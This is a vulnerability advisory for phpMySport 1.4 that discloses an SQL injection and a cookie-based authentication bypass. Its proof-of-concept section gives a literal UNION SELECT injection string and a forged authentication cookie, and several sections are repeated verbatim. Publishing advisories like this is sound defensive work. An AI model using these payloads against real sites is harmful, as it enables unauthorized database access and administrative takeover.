phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
BID:45701
Info
phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
| Bugtraq ID: | 45701 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 06 2011 12:00AM |
| Updated: | Jan 06 2011 12:00AM |
| Credit: | High-Tech Bridge SA |
| Vulnerable: |
phpMySport phpMySport 1.4 |
| Not Vulnerable: | |
Discussion
phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
phpMySport is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. The application is also prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Exploiting the SQL-injection issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The attacker can leverage the authentication-bypass vulnerability to gain administrative access to the affected application.
phpMySport 1.4 is vulnerable; other versions may also be affected.
phpMySport is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. The application is also prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Exploiting the SQL-injection issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The attacker can leverage the authentication-bypass vulnerability to gain administrative access to the affected application.
phpMySport 1.4 is vulnerable; other versions may also be affected.
Exploit / POC
phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URI is available:
http://www.example.com/index.php?r=member&amp;v1=member_list" method="post" name="main" > <input type="hidden" name="name" value="123' union select 1,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 -- 1
The following data is also available:
Cookie: auto_connection=1; cle=1;
Attackers can use a browser to exploit these issues.
The following example URI is available:
http://www.example.com/index.php?r=member&amp;v1=member_list" method="post" name="main" > <input type="hidden" name="name" value="123' union select 1,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 -- 1
The following data is also available:
Cookie: auto_connection=1; cle=1;
Solution / Fix
phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
phpMySport SQL Injection and Cookie Authentication Bypass Vulnerabilities
References:
References:
- HTB22771 SQL Injection in phpMySport (High-Tech Bridge SA)
- HTB22774 Authentication bypass in phpmysport (High-Tech Bridge SA)
- Vendor Homepage (PhpMySport)
- Authentication bypass in phpMySport ([email protected])
- SQL Injection in phpMySport (High-Tech Bridge SA)